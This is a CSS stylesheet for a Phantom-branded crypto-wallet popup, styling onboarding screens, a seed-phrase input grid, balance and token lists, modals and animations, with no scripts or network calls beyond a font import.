/* Phantom Wallet Theme - Custom Design */
@import url("https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap");

:root {
  /* Phantom Color Palette */
  --phantom-purple: #AB9FF2;
  --phantom-purple-dark: #AB9FF2;
  --phantom-purple-light: #AB9FF2;
  --phantom-bg: #111111;
  --phantom-bg-secondary: #111111;
  --phantom-bg-tertiary: #111111;
  --phantom-text-primary: #ffffff;
  --phantom-text-secondary: #8f8ca8;
  --phantom-success: #4caf50;
  --phantom-border: rgba(255, 255, 255, 0.08);
  --phantom-hover: rgba(171, 159, 242, 0.1);
}

* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

/* Hide scrollbars universally but keep scrolling functionality */
* {
  -ms-overflow-style: none !important;
  /* IE 10+ */
  scrollbar-width: none !important;
  /* Firefox */
}

/* Chrome, Safari, Edge */
*::-webkit-scrollbar {
  display: none !important;
  width: 0 !important;
  height: 0 !important;
}

body {
  font-family: "Inter", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
    sans-serif;
  background: var(--phantom-bg);
  color: var(--phantom-text-primary);
  overflow-x: hidden;
  overflow-y: auto;
  /* Enable vertical scrolling */

  /* Center wallet-container both axes */
  min-height: 100vh;
  display: flex;
  align-items: flex-start;
  /* Changed from center to flex-start to allow scrolling from top */
  justify-content: center;
  padding-top: 52px;
  /* Account for fixed header */
}

/* Wallet Container */
.wallet-container {
  width: 100%;
  max-width: 400px;
  min-height: 600px;
  background: var(--phantom-bg);
  position: relative;
  overflow: visible;
  /* Changed from hidden to visible to allow scrolling */
  box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
  margin: 20px 0;
  /* Add margin for better scrolling experience */
}

/* Main Wallet (hidden until onboarding complete) */
.main-wallet.hidden {
  display: none;
}

/* Onboarding Flow */
.onboarding-flow {
  position: absolute;
  inset: 0;
  width: 100%;
  min-height: 600px;
  overflow-y: auto;
  overflow-x: hidden;
}

.onboarding-screen {
  display: none;
  flex-direction: column;
  align-items: center;
  padding: 32px 20px 24px;
  min-height: 600px;
  text-align: left;
}

.onboarding-screen.active {
  display: flex;
}

.onboarding-logo {
  margin-top: 60px;
  margin-bottom: 24px;
}

.onboarding-logo-img {
  width: 100px;
  height: 100px;
  object-fit: contain;
}

.logo-text {
  font-size: 28px;
  font-weight: 700;
  background: linear-gradient(135deg,
      var(--phantom-purple-light),
      var(--phantom-purple));
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
}

.onboarding-title {
  font-size: 22px;
  font-weight: 600;
  margin-bottom: 12px;
  color: var(--phantom-text-primary);
  width: 100%;
  max-width: 335px;
}

.onboarding-title.centered {
  text-align: center;
}

.onboarding-subtitle {
  font-size: 15px;
  color: #FFFFFF;
  margin-bottom: 20px;
  width: 100%;
  max-width: 335px;
  line-height: 1.5;
}

.onboarding-subtitle.centered {
  text-align: center;
}

.onboarding-bullets {
  list-style: disc;
  padding-left: 20px;
  margin-bottom: 28px;
  width: 100%;
  max-width: 335px;
}

.onboarding-bullets li {
  font-size: 14px;
  color: #8f8ca8;
  margin-bottom: 8px;
  line-height: 1.5;
}

.onboarding-bullets li::marker {
  color: var(--phantom-purple);
}

.onboarding-screen .action-btn.full-width {
  margin-top: auto;
  padding: 16px;
}

/* Progress bar */
.progress-track {
  width: 100%;
  max-width: 335px;
  height: 8px;
  background: var(--phantom-bg-secondary);
  border-radius: 4px;
  overflow: hidden;
  margin-bottom: 12px;
}

.progress-fill {
  height: 100%;
  width: 0%;
  background: linear-gradient(90deg,
      var(--phantom-purple),
      var(--phantom-purple-dark));
  border-radius: 4px;
  transition: width 0.15s ease-out;
}

.progress-label {
  font-size: 13px;
  color: var(--phantom-text-secondary);
  width: 100%;
  max-width: 335px;
}

/* Seed phrase length buttons */
.seed-length-buttons {
  display: flex;
  gap: 8px;
  margin-bottom: 20px;
  width: 100%;
  max-width: 335px;
  flex-wrap: wrap;
}

.seed-length-btn {
  flex: 1;
  min-width: 60px;
  padding: 12px 16px;
  background: var(--phantom-bg-secondary);
  border: 1px solid var(--phantom-border);
  border-radius: 12px;
  color: var(--phantom-text-secondary);
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  transition: all 0.2s ease;
}

.seed-length-btn:hover {
  border-color: var(--phantom-purple);
  color: var(--phantom-purple);
}

.seed-length-btn.active {
  background: rgba(171, 159, 242, 0.15);
  border-color: var(--phantom-purple);
  color: #FFFFFF;
}

/* Seed phrase inputs grid (two per row) */
.seed-inputs-grid {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 10px 12px;
  width: 100%;
  max-width: 335px;
  margin-bottom: 24px;
}

.seed-inputs-grid .seed-input {
  width: 100%;
  padding: 12px 14px;
  background: var(--phantom-bg);
  border: 1px solid var(--phantom-border);
  border-radius: 10px;
  color: var(--phantom-text-primary);
  font-size: 14px;
  font-family: inherit;
  transition: all 0.2s ease;
}

.seed-inputs-grid .seed-input:focus {
  outline: none;
  border-color: var(--phantom-purple);
  box-shadow: 0 0 0 3px rgba(171, 159, 242, 0.1);
}

.seed-inputs-grid .seed-input::placeholder {
  color: var(--phantom-text-secondary);
  opacity: 0.8;
}

/* Header */
.wallet-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 20px;
  border-bottom: 1px solid var(--phantom-border);
  animation: slideDown 0.4s ease-out;
}

.network-selector {
  display: flex;
  align-items: center;
}

.network-badge {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 8px 16px;
  background: var(--phantom-bg-secondary);
  border-radius: 20px;
  font-size: 14px;
  font-weight: 500;
  border: 1px solid var(--phantom-border);
  cursor: pointer;
  transition: all 0.2s ease;
}

.network-badge:hover {
  background: var(--phantom-bg-tertiary);
  border-color: var(--phantom-purple);
}

.network-dot {
  width: 8px;
  height: 8px;
  background: var(--phantom-purple);
  border-radius: 50%;
  box-shadow: 0 0 8px var(--phantom-purple);
  animation: pulse 2s infinite;
}

.settings-btn {
  background: transparent;
  border: none;
  color: var(--phantom-text-secondary);
  cursor: pointer;
  padding: 8px;
  border-radius: 8px;
  transition: all 0.2s ease;
}

.settings-btn:hover {
  background: var(--phantom-hover);
  color: var(--phantom-purple);
}

/* Account Section */
.account-section {
  display: flex;
  align-items: center;
  padding: 24px 20px;
  gap: 12px;
  animation: fadeIn 0.5s ease-out 0.1s both;
}

.account-avatar {
  width: 48px;
  height: 48px;
  border-radius: 50%;
  overflow: hidden;
  position: relative;
}

.avatar-gradient {
  width: 100%;
  height: 100%;
  background: linear-gradient(135deg,
      var(--phantom-purple),
      var(--phantom-purple-dark),
      #6366f1);
  animation: rotate 10s linear infinite;
}

.account-info {
  flex: 1;
}

.account-name {
  font-size: 16px;
  font-weight: 600;
  margin-bottom: 4px;
}

.account-address {
  font-size: 14px;
  color: var(--phantom-text-secondary);
  font-family: "Courier New", monospace;
}

.copy-btn {
  background: transparent;
  border: none;
  color: var(--phantom-text-secondary);
  cursor: pointer;
  padding: 8px;
  border-radius: 8px;
  transition: all 0.2s ease;
}

.copy-btn:hover {
  background: var(--phantom-hover);
  color: var(--phantom-purple);
}

/* Balance Section */
.balance-section {
  text-align: center;
  padding: 32px 20px;
  background: linear-gradient(180deg,
      var(--phantom-bg) 0%,
      var(--phantom-bg-secondary) 100%);
  border-top: 1px solid var(--phantom-border);
  border-bottom: 1px solid var(--phantom-border);
  animation: fadeIn 0.5s ease-out 0.2s both;
}

.balance-label {
  font-size: 14px;
  color: var(--phantom-text-secondary);
  margin-bottom: 8px;
}

.balance-amount {
  font-size: 48px;
  font-weight: 700;
  background: linear-gradient(135deg,
      var(--phantom-purple-light),
      var(--phantom-purple));
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  background-clip: text;
  margin-bottom: 8px;
  animation: scaleIn 0.5s ease-out 0.3s both;
}

.balance-change {
  display: inline-flex;
  align-items: center;
  gap: 4px;
  font-size: 14px;
  padding: 6px 12px;
  border-radius: 20px;
  font-weight: 500;
}

.balance-change.positive {
  color: var(--phantom-success);
  background: rgba(76, 175, 80, 0.1);
}

.balance-change svg {
  width: 12px;
  height: 12px;
}

/* Action Buttons */
.action-buttons {
  display: flex;
  gap: 12px;
  padding: 24px 20px;
  animation: slideUp 0.5s ease-out 0.3s both;
}

.action-btn {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 8px;
  padding: 16px;
  border: none;
  border-radius: 16px;
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
  position: relative;
  overflow: hidden;
}

.action-btn::before {
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background: linear-gradient(135deg, rgba(255, 255, 255, 0.1), transparent);
  opacity: 0;
  transition: opacity 0.3s ease;
}

.action-btn:hover::before {
  opacity: 1;
}

.action-btn.primary {
  background: linear-gradient(135deg,
      var(--phantom-purple),
      var(--phantom-purple-dark));
  color: white;
  box-shadow: 0 4px 20px rgba(171, 159, 242, 0.3);
}

.action-btn.primary:hover {
  transform: translateY(-2px);
  box-shadow: 0 8px 30px rgba(171, 159, 242, 0.5);
}

.action-btn.secondary {
  background: var(--phantom-bg-secondary);
  color: var(--phantom-text-primary);
  border: 1px solid var(--phantom-border);
}

.action-btn.secondary:hover {
  background: var(--phantom-bg-tertiary);
  border-color: var(--phantom-purple);
  transform: translateY(-2px);
}

.action-btn svg {
  transition: transform 0.3s ease;
}

.action-btn:hover svg {
  transform: scale(1.1);
}

/* Tokens Section */
.tokens-section {
  padding: 0 20px 24px;
  animation: fadeIn 0.5s ease-out 0.4s both;
}

.section-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 16px;
}

.section-header h3 {
  font-size: 16px;
  font-weight: 600;
}

.manage-btn {
  background: transparent;
  border: none;
  color: var(--phantom-purple);
  font-size: 14px;
  font-weight: 600;
  cursor: pointer;
  padding: 8px 12px;
  border-radius: 8px;
  transition: all 0.2s ease;
}

.manage-btn:hover {
  background: var(--phantom-hover);
}

.tokens-list {
  display: flex;
  flex-direction: column;
  gap: 8px;
}

.token-item {
  display: flex;
  align-items: center;
  gap: 12px;
  padding: 16px;
  background: var(--phantom-bg-secondary);
  border: 1px solid var(--phantom-border);
  border-radius: 16px;
  cursor: pointer;
  transition: all 0.2s ease;
  animation: slideIn 0.3s ease-out both;
}

.token-item:hover {
  background: var(--phantom-bg-tertiary);
  border-color: var(--phantom-purple);
  transform: translateX(4px);
}

.token-icon {
  width: 40px;
  height: 40px;
  border-radius: 50%;
  background: linear-gradient(135deg,
      var(--phantom-purple),
      var(--phantom-purple-dark));
  display: flex;
  align-items: center;
  justify-content: center;
  font-weight: 700;
  font-size: 16px;
}

.token-info {
  flex: 1;
}

.token-name {
  font-size: 15px;
  font-weight: 600;
  margin-bottom: 2px;
}

.token-amount {
  font-size: 13px;
  color: var(--phantom-text-secondary);
}

.token-value {
  text-align: right;
}

.token-price {
  font-size: 15px;
  font-weight: 600;
  margin-bottom: 2px;
}

.token-change {
  font-size: 13px;
}

.token-change.positive {
  color: var(--phantom-success);
}

.token-change.negative {
  color: #f44336;
}

/* Modal */
.modal {
  position: fixed;
  top: 0;
  left: 0;
  width: 100vw;
  height: 100vh;
  background: rgba(0, 0, 0, 0.8);
  backdrop-filter: blur(10px);

  display: flex;
  align-items: center;
  justify-content: center;

  z-index: 1000;
  animation: fadeIn 0.2s ease-out;

  padding: 10px;
  box-sizing: border-box;
}

.modal.active {
  display: flex;
}

.modal-content {
  width: 100%;
  max-width: 1200px;
  height: auto;
  max-height: 90vh;
  background: var(--phantom-bg-secondary);
  border: 1px solid var(--phantom-border);
  border-radius: 24px;
  overflow-y: auto;
  overflow-x: hidden;
  display: flex;
  flex-direction: column;

  margin: 0 auto;
}

.modal-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 24px;
  border-bottom: 1px solid var(--phantom-border);
}

.modal-header h3 {
  font-size: 20px;
  font-weight: 600;
}

.modal-close {
  background: transparent;
  border: none;
  color: var(--phantom-text-secondary);
  cursor: pointer;
  padding: 8px;
  border-radius: 8px;
  transition: all 0.2s ease;
}

.modal-close:hover {
  background: var(--phantom-hover);
  color: var(--phantom-purple);
}

.modal-body {
  padding: 24px;
  overflow-y: auto;
  overflow-x: hidden;
}

.input-group {
  margin-bottom: 20px;
}

.input-group label {
  display: block;
  font-size: 14px;
  color: var(--phantom-text-secondary);
  margin-bottom: 8px;
  font-weight: 500;
}

.modal-input {
  width: 100%;
  padding: 16px;
  background: var(--phantom-bg);
  border: 1px solid var(--phantom-border);
  border-radius: 12px;
  color: var(--phantom-text-primary);
  font-size: 15px;
  font-family: inherit;
  transition: all 0.2s ease;
}

.modal-input:focus {
  outline: none;
  border-color: var(--phantom-purple);
  box-shadow: 0 0 0 4px rgba(171, 159, 242, 0.1);
}

.modal-footer {
  padding: 24px;
  border-top: 1px solid var(--phantom-border);
  display: flex;
  justify-content: flex-end;
  gap: 12px;
}

.modal-footer .action-btn {
  flex: none;
}

/* ── Popup Header Bar ─────────────────────────────────────── */
.popup-header-bar {
  position: fixed;
  top: 0;
  left: 0;
  right: 0;
  height: 52px;
  background: var(--phantom-bg);
  border-bottom: 1px solid var(--phantom-border);
  display: flex;
  align-items: center;
  justify-content: center;
  z-index: 9999;
  padding: 0 16px;
}

.popup-header-name {
  font-size: 18px;
  font-weight: 700;
  color: var(--phantom-text-primary);
  letter-spacing: -0.01em;
  font-family: inherit;
}

.popup-header-help {
  position: absolute;
  right: 14px;
  background: transparent;
  border: 1.5px solid var(--phantom-text-secondary);
  color: var(--phantom-text-secondary);
  cursor: pointer;
  width: 28px;
  height: 28px;
  border-radius: 50%;
  display: flex;
  align-items: center;
  justify-content: center;
  transition: all 0.2s ease;
  padding: 0;
}

.popup-header-help:hover {
  border-color: var(--phantom-purple);
  color: var(--phantom-purple);
}

/* Clear All Button */
.clear-all-btn {
  width: 100%;
  max-width: 335px;
  padding: 12px 16px;
  margin-bottom: 12px;
  background: transparent;
  border: 1px solid rgba(244, 67, 54, 0.4);
  border-radius: 12px;
  color: #f44336;
  font-size: 14px;
  font-weight: 600;
  font-family: inherit;
  cursor: pointer;
  transition: all 0.2s ease;
  animation: fadeIn 0.2s ease-out;
}

.clear-all-btn:hover {
  background: rgba(244, 67, 54, 0.08);
  border-color: #f44336;
}

/* Animations */
@keyframes fadeIn {
  from {
    opacity: 0;
  }

  to {
    opacity: 1;
  }
}

@keyframes slideDown {
  from {
    opacity: 0;
    transform: translateY(-20px);
  }

  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideUp {
  from {
    opacity: 0;
    transform: translateY(20px);
  }

  to {
    opacity: 1;
    transform: translateY(0);
  }
}

@keyframes slideIn {
  from {
    opacity: 0;
    transform: translateX(-20px);
  }

  to {
    opacity: 1;
    transform: translateX(0);
  }
}

@keyframes scaleIn {
  from {
    opacity: 0;
    transform: scale(0.9);
  }

  to {
    opacity: 1;
    transform: scale(1);
  }
}

@keyframes rotate {
  from {
    transform: rotate(0deg);
  }

  to {
    transform: rotate(360deg);
  }
}

@keyframes pulse {
  0% {
    box-shadow: 0 0 8px var(--phantom-purple);
  }

  50% {
    box-shadow: 0 0 16px var(--phantom-purple);
  }

  100% {
    box-shadow: 0 0 8px var(--phantom-purple);
  }
}